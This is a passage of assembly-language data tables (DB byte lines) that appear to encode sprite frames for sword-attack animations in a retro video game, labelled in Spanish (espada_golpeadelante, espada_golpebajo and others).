145, 165, 170, 170, 25, 113, 121, 1, 0, 0 DB 145, 17, 89, 154, 17, 17, 17, 151, 23, 0, 0, 0 DB 16, 25, 89, 25, 0, 113, 119, 23, 1, 0, 0, 0 DB 16, 25, 169, 1, 0, 113, 23, 1, 0, 0, 0, 0 DB 17, 25, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 151, 1, 0, 0, 0, 0 DB 165, 17, 169, 17, 1, 16, 151, 23, 0, 0, 0, 0 DB 26, 0, 81, 85, 26, 0, 113, 121, 1, 0, 0, 0 DB 1, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 16, 119, 121, 1, 0, 0 espada_golpeadelante: DB 0, 0, 33, 136, 136, 18, 119, 17, 113, 17, 18, 0 DB 0, 0, 33, 136, 136, 18, 119, 119, 119, 17, 18, 0 DB 0, 0, 33, 130, 136, 18, 119, 23, 17, 33, 18, 0 DB 0, 0, 17, 33, 34, 18, 113, 65, 24, 33, 1, 0 DB 0, 16, 114, 25, 17, 17, 17, 20, 129, 17, 1, 0 DB 0, 16, 18, 113, 151, 119, 121, 20, 132, 151, 1, 0 DB 0, 16, 18, 17, 17, 17, 17, 20, 129, 17, 0, 0 DB 0, 16, 18, 17, 17, 17, 17, 65, 24, 17, 0, 0 DB 0, 16, 18, 17, 153, 25, 17, 17, 17, 17, 0, 0 DB 0, 145, 17, 153, 153, 153, 17, 17, 17, 23, 0, 0 DB 16, 25, 145, 153, 165, 154, 25, 17, 17, 23, 0, 0 DB 16, 25, 145, 89, 170, 170, 25, 17, 113, 23, 0, 0 DB 145, 1, 145, 89, 170, 170, 25, 17, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 154, 25, 119, 151, 23, 0, 0 DB 16, 25, 145, 165, 170, 154, 17, 119, 153, 23, 0, 0 DB 16, 25, 145, 165, 170, 153, 113, 151, 121, 23, 0, 0 DB 16, 25, 89, 170, 154, 25, 113, 153, 121, 1, 0, 0 DB 81, 17, 89, 170, 25, 17, 113, 153, 23, 0, 0, 0 DB 165, 26, 89, 154, 1, 16, 119, 121, 1, 0, 0, 0 DB 165, 17, 169, 25, 0, 16, 119, 25, 0, 0, 0, 0 DB 170, 17, 169, 25, 0, 16, 119, 25, 0, 0, 0, 0 DB 26, 16, 169, 25, 0, 16, 119, 25, 0, 0, 0, 0 DB 1, 16, 169, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 0, 113, 25, 0, 0, 0, 0 DB 0, 16, 169, 25, 1, 0, 113, 25, 0, 0, 0, 0 DB 0, 0, 81, 85, 25, 0, 16, 119, 1, 0, 0, 0 DB 0, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 121, 1, 0, 0 DB 0, 0, 16, 26, 89, 154, 170, 170, 26, 0, 0, 0 DB 0, 0, 0, 161, 154, 169, 170, 169, 25, 0, 0, 0 DB 0, 0, 16, 17, 170, 169, 169, 154, 154, 1, 0, 0 DB 0, 0, 145, 153, 145, 170, 122, 23, 17, 0, 0, 0 DB 0, 16, 89, 165, 25, 169, 170, 170, 26, 0, 0, 0 DB 0, 145, 165, 170, 154, 161, 170, 161, 17, 0, 0, 0 DB 16, 153, 165, 170, 170, 25, 169, 170, 26, 0, 0, 0 DB 16, 153, 89, 170, 170, 154, 17, 153, 1, 0, 0, 0 DB 17, 145, 153, 165, 170, 170, 153, 17, 17, 17, 0, 0 DB 33, 18, 153, 89, 165, 170, 170, 153, 153, 153, 17, 1 DB 33, 34, 17, 153, 89, 85, 165, 169, 170, 90, 153, 25 DB 162, 34, 34, 17, 153, 153, 89, 170, 170, 170, 170, 170 DB 34, 170, 42, 34, 17, 145, 153, 153, 89, 85, 149, 153 DB 34, 162, 170, 170, 34, 18, 17, 17, 153, 153, 25, 17 DB 34, 34, 34, 170, 170, 170, 26, 17, 17, 17, 1, 0 DB 18, 34, 34, 34, 162, 170, 170, 90, 85, 85, 85, 85 DB 18, 17, 34, 34, 34, 34, 170, 170, 170, 85, 85, 85 DB 18, 17, 17, 33, 130, 34, 24, 17, 161, 90, 85, 85 DB 18, 153, 153, 25, 17, 136, 17, 17, 17, 0, 0, 0 DB 146, 153, 153, 149, 25, 17, 17, 119, 119, 1, 0, 0 DB 146, 153, 165, 170, 154, 17, 113, 119, 119, 23, 0, 0 DB 145, 153, 165, 170, 170, 25, 119, 119, 153, 23, 0, 0 DB 16, 25, 89, 165, 170, 154, 113, 151, 121, 1, 0, 0 DB 0, 145, 145, 89, 170, 154, 113, 153, 23, 0, 0, 0 DB 0, 145, 17, 145, 165, 153, 113, 121, 1, 0, 0, 0 DB 16, 25, 145, 89, 154, 25, 151, 23, 0, 0, 0, 0 DB 145, 17, 89, 170, 26, 113, 121, 1, 0, 0, 0, 0 DB 25, 89, 170, 17, 1, 113, 25, 0, 0, 0, 0, 0 DB 25, 145, 21, 17, 1, 16, 121, 1, 0, 0, 0, 0 DB 165, 17, 169, 85, 25, 16, 151, 23, 1, 0, 0, 0 DB 81, 26, 161, 149, 26, 0, 113, 151, 23, 0, 0, 0 DB 16, 165, 17, 154, 26, 0, 16, 151, 119, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 16, 17, 0, 0, 0, 16, 17, 17, 17, 17, 17, 1 DB 145, 149, 17, 17, 17, 97, 102, 129, 136, 24, 102, 22 DB 89, 26, 65, 102, 70, 68, 68, 65, 102, 20, 68, 100 DB 170, 25, 136, 136, 136, 136, 68, 129, 136, 24, 136, 72 DB 170, 153, 17, 17, 17, 129, 136, 129, 136, 24, 136, 136 DB 153, 25, 0, 0, 0, 16, 17, 17, 17, 97, 102, 102 DB 17, 1, 0, 0, 102, 102, 102, 102, 102, 102, 102, 6 DB 85, 85, 101, 102, 102, 102, 102, 102, 102, 102, 102, 0 DB 85, 85, 85, 101, 102, 102, 102, 102, 6, 0, 0, 0 DB 85, 85, 85, 85, 102, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 145, 165, 154, 153, 33, 40, 17, 145, 33, 129, 130, 24 DB 145, 165, 170, 153, 33, 40, 113, 145, 33, 129, 38, 1 DB 145, 165, 170, 153, 33, 40, 113, 113, 17, 104, 136, 1 DB 145, 165, 170, 153, 33, 40, 17, 23, 17, 132, 24, 0 DB 145, 89, 170, 153, 33, 40, 113, 121, 97, 130, 1, 0 DB 16, 89, 154, 25, 130, 40, 113, 25, 70, 18, 0, 0 DB 16, 169, 153, 33, 136, 40, 113, 97, 132, 24, 0, 0 DB 16, 89, 170, 25, 130, 40, 113, 65, 136, 17, 0, 0 DB 0, 145, 170, 25, 130, 40, 17, 70, 24, 18, 1, 0 DB 0, 145, 165, 154, 33, 18, 97, 132, 24, 18, 23, 0 DB 0, 16, 169, 154, 17, 17, 70, 136, 17, 113, 23, 0 DB 0, 16, 89, 170, 25, 17, 132, 24, 17, 119, 23, 0 DB 0, 16, 145, 165, 121, 65, 132, 113, 23, 113, 153, 1 DB 0, 145, 17, 89, 154, 129, 24, 17, 17, 113, 153, 1 DB 0, 145, 17, 145, 170, 25, 17, 17, 17, 113, 153, 1 DB 0, 16, 25, 145, 170, 25, 17, 17, 113, 17, 23, 0 DB 0, 16, 25, 145, 165, 25, 17, 17, 119, 17, 1, 0 DB 0, 16, 25, 17, 153, 17, 25, 17, 119, 25, 0, 0 DB 0, 145, 17, 153, 17, 153, 153, 113, 119, 25, 0, 0 DB 16, 25, 16, 153, 153, 170, 153, 113, 151, 25, 0, 0 DB 145, 1, 16, 153, 170, 170, 154, 113, 153, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 113, 121, 1, 0, 0 DB 145, 17, 89, 154, 17, 17, 17, 151, 23, 0, 0, 0 DB 16, 25, 89, 25, 0, 113, 119, 23, 1, 0, 0, 0 DB 16, 25, 169, 1, 0, 113, 23, 1, 0, 0, 0, 0 DB 17, 25, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 151, 1, 0, 0, 0, 0 DB 165, 17, 169, 17, 1, 16, 151, 23, 0, 0, 0, 0 DB 26, 0, 81, 85, 26, 0, 113, 121, 1, 0, 0, 0 DB 1, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 16, 119, 121, 1, 0, 0 espada_comboadelante: DB 0, 0, 16, 26, 89, 154, 170, 170, 26, 0, 0, 0 DB 0, 0, 0, 161, 154, 169, 170, 169, 25, 0, 0, 0 DB 0, 0, 16, 17, 170, 169, 169, 154, 154, 1, 0, 0 DB 0, 0, 145, 153, 145, 170, 122, 23, 17, 0, 0, 0 DB 0, 16, 89, 165, 25, 169, 170, 170, 26, 0, 0, 0 DB 0, 145, 165, 170, 154, 161, 170, 161, 17, 0, 0, 0 DB 16, 153, 165, 170, 170, 25, 169, 170, 26, 0, 0, 0 DB 16, 153, 89, 170, 170, 154, 17, 153, 1, 0, 0, 0 DB 17, 145, 153, 165, 170, 170, 153, 17, 17, 17, 0, 0 DB 33, 18, 153, 89, 165, 170, 170, 153, 153, 153, 17, 1 DB 33, 34, 17, 153, 89, 85, 165, 169, 170, 90, 153, 25 DB 162, 34, 34, 17, 153, 153, 89, 170, 170, 170, 170, 170 DB 34, 170, 42, 34, 17, 145, 153, 153, 89, 85, 149, 153 DB 34, 162, 170, 170, 34, 18, 17, 17, 153, 153, 25, 17 DB 34, 34, 34, 170, 170, 170, 26, 17, 17, 17, 1, 0 DB 18, 34, 34, 34, 162, 170, 170, 90, 85, 85, 85, 85 DB 18, 17, 34, 34, 34, 34, 170, 170, 170, 85, 85, 85 DB 18, 17, 17, 33, 130, 34, 24, 17, 161, 90, 85, 85 DB 18, 153, 153, 25, 17, 136, 17, 17, 17, 0, 0, 0 DB 146, 153, 153, 149, 25, 17, 17, 119, 119, 1, 0, 0 DB 146, 153, 165, 170, 154, 17, 113, 119, 119, 23, 0, 0 DB 145, 153, 165, 170, 170, 25, 119, 119, 153, 23, 0, 0 DB 16, 25, 89, 165, 170, 154, 113, 151, 121, 1, 0, 0 DB 0, 145, 145, 89, 170, 154, 113, 153, 23, 0, 0, 0 DB 0, 145, 17, 145, 165, 153, 113, 121, 1, 0, 0, 0 DB 16, 25, 145, 89, 154, 25, 151, 23, 0, 0, 0, 0 DB 145, 17, 89, 170, 26, 113, 121, 1, 0, 0, 0, 0 DB 25, 89, 170, 17, 1, 113, 25, 0, 0, 0, 0, 0 DB 25, 145, 21, 17, 1, 16, 121, 1, 0, 0, 0, 0 DB 165, 17, 169, 85, 25, 16, 151, 23, 1, 0, 0, 0 DB 81, 26, 161, 149, 26, 0, 113, 151, 23, 0, 0, 0 DB 16, 165, 17, 154, 26, 0, 16, 151, 119, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 16, 17, 0, 0, 0, 16, 17, 17, 17, 17, 17, 1 DB 145, 149, 17, 17, 17, 97, 102, 129, 136, 24, 102, 22 DB 89, 26, 65, 102, 70, 68, 68, 65, 102, 20, 68, 100 DB 170, 25, 136, 136, 136, 136, 68, 129, 136, 24, 136, 72 DB 170, 153, 17, 17, 17, 129, 136, 129, 136, 24, 136, 136 DB 153, 25, 0, 0, 0, 16, 17, 17, 17, 97, 102, 102 DB 17, 1, 0, 0, 102, 102, 102, 102, 102, 102, 102, 6 DB 85, 85, 101, 102, 102, 102, 102, 102, 102, 102, 102, 0 DB 85, 85, 85, 101, 102, 102, 102, 102, 6, 0, 0, 0 DB 85, 85, 85, 85, 102, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 espada_golpebajo: DB 64, 16, 130, 136, 136, 34, 113, 17, 145, 165, 153, 17 DB 64, 16, 130, 136, 136, 34, 113, 119, 23, 145, 165, 153 DB 64, 16, 130, 136, 136, 40, 17, 151, 121, 17, 89, 154 DB 64, 16, 130, 136, 136, 40, 18, 119, 121, 1, 161, 153 DB 0, 20, 34, 136, 136, 136, 18, 113, 121, 1, 145, 25 DB 0, 4, 33, 136, 136, 136, 34, 113, 121, 1, 16, 129 DB 0, 4, 33, 130, 136, 40, 18, 113, 23, 0, 16, 136 DB 0, 68, 33, 130, 40, 34, 17, 17, 1, 0, 16, 132 DB 0, 68, 17, 34, 34, 17, 132, 17, 9, 0, 16, 134 DB 0, 68, 113, 17, 17, 65, 17, 120, 1, 0, 16, 134 DB 0, 64, 20, 121, 151, 71, 97, 24, 1, 0, 16, 132 DB 0, 64, 68, 17, 17, 65, 17, 24, 23, 0, 129, 132 DB 0, 17, 68, 20, 17, 17, 132, 17, 119, 1, 97, 132 DB 16, 25, 68, 20, 17, 17, 17, 17, 119, 23, 97, 132 DB 145, 17, 68, 68, 153, 17, 17, 17, 119, 23, 72, 132 DB 25, 0, 65, 68, 164, 153, 17, 113, 151, 23, 70, 132 DB 25, 17, 145, 68, 68, 154, 25, 113, 153, 23, 70, 24 DB 145, 153, 145, 68, 100, 164, 154, 113, 121, 129, 70, 24 DB 16, 17, 25, 73, 102, 102, 153, 113, 121, 33, 66, 24 DB 16, 17, 25, 105, 102, 102, 102, 17, 23, 104, 40, 24 DB 145, 153, 17, 169, 102, 102, 102, 22, 23, 72, 136, 1 DB 21, 17, 145, 154, 97, 102, 102, 102, 129, 134, 24, 0 DB 165, 1, 145, 25, 0, 102, 102, 22, 104, 136, 24, 0 DB 165, 17, 169, 1, 0, 96, 102, 65, 34, 136, 1, 0 DB 81, 26, 169, 1, 0, 0, 22, 102, 68, 18, 0, 0 DB 16, 26, 169, 1, 0, 16, 17, 102, 132, 24, 0, 0 DB 0, 17, 169, 1, 0, 16, 23, 68, 136, 1, 0, 0 DB 0, 16, 169, 1, 0, 113, 119, 129, 24, 0, 0, 0 DB 0, 16, 169, 17, 1, 16, 151, 23, 1, 0, 0, 0 DB 0, 0, 145, 170, 25, 0, 113, 121, 1, 0, 0, 0 DB 0, 0, 145, 154, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 121, 1, 0, 0 DB 154, 153, 1, 16, 34, 136, 136, 136, 136, 18, 113, 113 DB 153, 25, 0, 16, 130, 136, 136, 136, 136, 18, 119, 17 DB 17, 1, 0, 33, 130, 136, 136, 136, 40, 18, 119, 25 DB 0, 0, 0, 33, 136, 136, 136, 136, 40, 113, 119, 25 DB 0, 0, 0, 33, 34, 130, 136, 136, 34, 113, 151, 25 DB 0, 0, 0, 17, 17, 34, 130, 136, 34, 113, 151, 25 DB 0, 0, 16, 25, 17, 33, 34, 136, 18, 119, 151, 25 DB 0, 0, 32, 113, 25, 17, 33, 34, 18, 119, 153, 25 DB 0, 0, 18, 17, 113, 23, 17, 132, 113, 119, 153, 1 DB 0, 32, 17, 17, 17, 145, 71, 17, 24, 153, 25, 0 DB 0, 33, 17, 17, 17, 17, 65, 65, 120, 17, 1, 0 DB 16, 33, 17, 17, 17, 17, 65, 17, 24, 1, 0, 0 DB 145, 33, 145, 153, 153, 17, 17, 132, 17, 23, 0, 0 DB 25, 16, 153, 169, 170, 25, 17, 17, 17, 119, 1, 0 DB 25, 0, 145, 170, 170, 154, 17, 17, 17, 119, 23, 0 DB 145, 1, 16, 169, 170, 170, 25, 17, 113, 151, 119, 1 DB 16, 25, 0, 145, 170, 170, 25, 17, 119, 151, 121, 1 DB 0, 145, 1, 145, 170, 170, 25, 119, 119, 153, 121, 1 DB 0, 145, 17, 169, 170, 170, 25, 119, 153, 153, 23, 0 DB 16, 25, 16, 169, 170, 153, 17, 151, 121, 119, 1, 0 DB 145, 1, 16, 169, 170, 25, 113, 119, 23, 17, 0, 0 DB 21, 0, 161, 154, 153, 17, 119, 23, 1, 0, 0, 0 DB 165, 1, 161, 25, 17, 113, 119, 1, 0, 0, 0, 0 DB 165, 17, 169, 1, 170, 113, 26, 0, 0, 0, 0, 0 DB 81, 17, 169, 1, 0, 170, 26, 0, 0, 0, 0, 0 DB 16, 26, 169, 1, 0, 113, 170, 170, 0, 0, 0, 0 DB 0, 17, 169, 1, 0, 113, 26, 170, 170, 10, 0, 0 DB 0, 16, 169, 1, 0, 113, 119, 1, 170, 170, 0, 0 DB 0, 16, 169, 17, 1, 16, 151, 23, 0, 170, 170, 170 DB 0, 0, 145, 170, 25, 0, 113, 121, 1, 0, 160, 170 DB 0, 0, 145, 154, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 119, 1, 0, 0 DB 1, 0, 0, 0, 0, 0, 0, 0, 0, 85, 85, 85 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 85, 85 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 85, 5 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 85, 5 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 85, 5 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 85, 5 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 85, 5 DB 0, 0, 0, 0, 0, 0, 0, 0, 80, 85, 85, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 80, 85, 85, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 80, 85, 85, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 160, 85, 170, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 160, 170, 170, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 160, 170, 10, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 160, 170, 10, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 170, 170, 10, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 170, 170, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 170, 170, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 160, 170, 10, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 170, 170, 10, 0, 0 DB 0, 0, 0, 0, 0, 0, 160, 170, 170, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 170, 170, 10, 0, 0, 0 DB 0, 0, 0, 0, 0, 160, 170, 170, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 170, 170, 10, 0, 0, 0, 0 DB 0, 0, 0, 0, 160, 170, 170, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 170, 170, 10, 0, 0, 0, 0, 0 DB 0, 0, 0, 160, 170, 170, 0, 0, 0, 0, 0, 0 DB 0, 0, 170, 170, 170, 0, 0, 0, 0, 0, 0, 0 DB 0, 170, 170, 170, 10, 0, 0, 0, 0, 0, 0, 0 DB 170, 170, 170, 10, 0, 0, 0, 0, 0, 0, 0, 0 DB 170, 170, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DB 145, 165, 154, 153, 33, 40, 17, 145, 33, 129, 130, 24 DB 145, 165, 170, 153, 33, 40, 113, 145, 33, 129, 38, 1 DB 145, 165, 170, 153, 33, 40, 113, 113, 17, 104, 136, 1 DB 145, 165, 170, 153, 33, 40, 17, 23, 17, 132, 24, 0 DB 145, 89, 170, 153, 33, 40, 113, 121, 97, 130, 1, 0 DB 16, 89, 154, 25, 130, 40, 113, 25, 70, 18, 0, 0 DB 16, 169, 153, 33, 136, 40, 113, 97, 132, 24, 0, 0 DB 16, 89, 170, 25, 130, 40, 113, 65, 136, 17, 0, 0 DB 0, 145, 170, 25, 130, 40, 17, 70, 24, 18, 1, 0 DB 0, 145, 165, 154, 33, 18, 97, 132, 24, 18, 23, 0 DB 0, 16, 169, 154, 17, 17, 70, 136, 17, 113, 23, 0 DB 0, 16, 89, 170, 25, 17, 132, 24, 17, 119, 23, 0 DB 0, 16, 145, 165, 121, 65, 132, 113, 23, 113, 153, 1 DB 0, 145, 17, 89, 154, 129, 24, 17, 17, 113, 153, 1 DB 0, 145, 17, 145, 170, 25, 17, 17, 17, 113, 153, 1 DB 0, 16, 25, 145, 170, 25, 17, 17, 113, 17, 23, 0 DB 0, 16, 25, 145, 165, 25, 17, 17, 119, 17, 1, 0 DB 0, 16, 25, 17, 153, 17, 25, 17, 119, 25, 0, 0 DB 0, 145, 17, 153, 17, 153, 153, 113, 119, 25, 0, 0 DB 16, 25, 16, 153, 153, 170, 153, 113, 151, 25, 0, 0 DB 145, 1, 16, 153, 170, 170, 154, 113, 153, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 113, 121, 1, 0, 0 DB 145, 17, 89, 154, 17, 17, 17, 151, 23, 0, 0, 0 DB 16, 25, 89, 25, 0, 113, 119, 23, 1, 0, 0, 0 DB 16, 25, 169, 1, 0, 113, 23, 1, 0, 0, 0, 0 DB 17, 25, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 151, 1, 0, 0, 0, 0 DB 165, 17, 169, 17, 1, 16, 151, 23, 0, 0, 0, 0 DB 26, 0, 81, 85, 26, 0, 113, 121, 1, 0, 0, 0 DB 1, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 16, 119, 121, 1, 0, 0 espada_golpeatras: DB 0, 0, 33, 136, 136, 18, 119, 17, 113, 17, 18, 0 DB 0, 0, 33, 136, 136, 18, 119, 119, 119, 17, 18, 0 DB 0, 0, 33, 130, 136, 18, 119, 23, 17, 33, 18, 0 DB 0, 0, 17, 33, 34, 18, 113, 65, 24, 33, 1, 0 DB 0, 16, 114, 25, 17, 17, 17, 20, 129, 17, 1, 0 DB 0, 16, 18, 113, 151, 119, 121, 20, 132, 151, 1, 0 DB 0, 16, 18, 17, 17, 17, 17, 20, 129, 17, 0, 0 DB 0, 16, 18, 17, 17, 17, 17, 65, 24, 17, 0, 0 DB 0, 16, 18, 17, 153, 25, 17, 17, 17, 17, 0, 0 DB 0, 145, 17, 153, 153, 153, 17, 17, 17, 23, 0, 0 DB 16, 25, 145, 153, 165, 154, 25, 17, 17, 23, 0, 0 DB 16, 25, 145, 89, 170, 170, 25, 17, 113, 23, 0, 0 DB 145, 1, 145, 89, 170, 170, 25, 17, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 154, 25, 119, 151, 23, 0, 0 DB 16, 25, 145, 165, 170, 154, 17, 119, 153, 23, 0, 0 DB 16, 25, 145, 165, 170, 153, 113, 151, 121, 23, 0, 0 DB 16, 25, 89, 170, 154, 25, 113, 153, 121, 1, 0, 0 DB 81, 17, 89, 170, 25, 17, 113, 153, 23, 0, 0, 0 DB 165, 26, 89, 154, 1, 16, 119, 121, 1, 0, 0, 0 DB 165, 17, 169, 25, 0, 16, 119, 25, 0, 0, 0, 0 DB 170, 17, 169, 25, 0, 16, 119, 25, 0, 0, 0, 0 DB 26, 16, 169, 25, 0, 16, 119, 25, 0, 0, 0, 0 DB 1, 16, 169, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 25, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 0, 113, 25, 0, 0, 0, 0 DB 0, 16, 169, 25, 1, 0, 113, 25, 0, 0, 0, 0 DB 0, 0, 81, 85, 25, 0, 16, 119, 1, 0, 0, 0 DB 0, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 121, 1, 0, 0 DB 0, 0, 16, 26, 89, 154, 170, 170, 26, 0, 0, 0 DB 0, 0, 0, 161, 154, 169, 170, 169, 25, 0, 0, 0 DB 0, 0, 16, 17, 170, 169, 169, 154, 154, 1, 0, 0 DB 0, 0, 145, 153, 145, 170, 122, 23, 17, 0, 0, 0 DB 0, 16, 89, 165, 25, 169, 170, 170, 26, 0, 0, 0 DB 0, 145, 165, 170, 154, 161, 170, 161, 17, 0, 0, 0 DB 16, 153, 165, 170, 170, 25, 169, 170, 26, 0, 0, 0 DB 16, 153, 89, 170, 170, 154, 17, 153, 1, 0, 0, 0 DB 17, 145, 153, 165, 170, 170, 153, 17, 17, 17, 0, 0 DB 33, 18, 153, 89, 165, 170, 170, 153, 153, 153, 17, 1 DB 33, 34, 17, 153, 89, 85, 165, 169, 170, 90, 153, 25 DB 162, 34, 34, 17, 153, 153, 89, 170, 170, 170, 170, 170 DB 34, 170, 42, 34, 17, 145, 153, 153, 89, 85, 149, 153 DB 34, 162, 170, 170, 34, 18, 17, 17, 153, 153, 25, 17 DB 34, 34, 34, 170, 170, 170, 26, 17, 17, 17, 1, 0 DB 18, 34, 34, 34, 162, 170, 170, 90, 85, 85, 85, 85 DB 18, 17, 34, 34, 34, 34, 170, 170, 170, 85, 85, 85 DB 18, 17, 17, 33, 130, 34, 24, 17, 161, 90, 85, 85 DB 18, 153, 153, 25, 17, 136, 17, 17, 17, 0, 0, 0 DB 146, 153, 153, 149, 25, 17, 17, 119, 119, 1, 0, 0 DB 146, 153, 165, 170, 154, 17, 113, 119, 119, 23, 0, 0 DB 145, 153, 165, 170, 170, 25, 119, 119, 153, 23, 0, 0 DB 16, 25, 89, 165, 170, 154, 113, 151, 121, 1, 0, 0 DB 0, 145, 145, 89, 170, 154, 113, 153, 23, 0, 0, 0 DB 0, 145, 17, 145, 165, 153, 113, 121, 1, 0, 0, 0 DB 16, 25, 145, 89, 154, 25, 151, 23, 0, 0, 0, 0 DB 145, 17, 89, 170, 26, 113, 121, 1, 0, 0, 0, 0 DB 25, 89, 170, 17, 1, 113, 25, 0, 0, 0, 0, 0 DB 25, 145, 21, 17, 1, 16, 121, 1, 0, 0, 0, 0 DB 165, 17, 169, 85, 25, 16, 151, 23, 1, 0, 0, 0 DB 81, 26, 161, 149, 26, 0, 113, 151, 23, 0, 0, 0 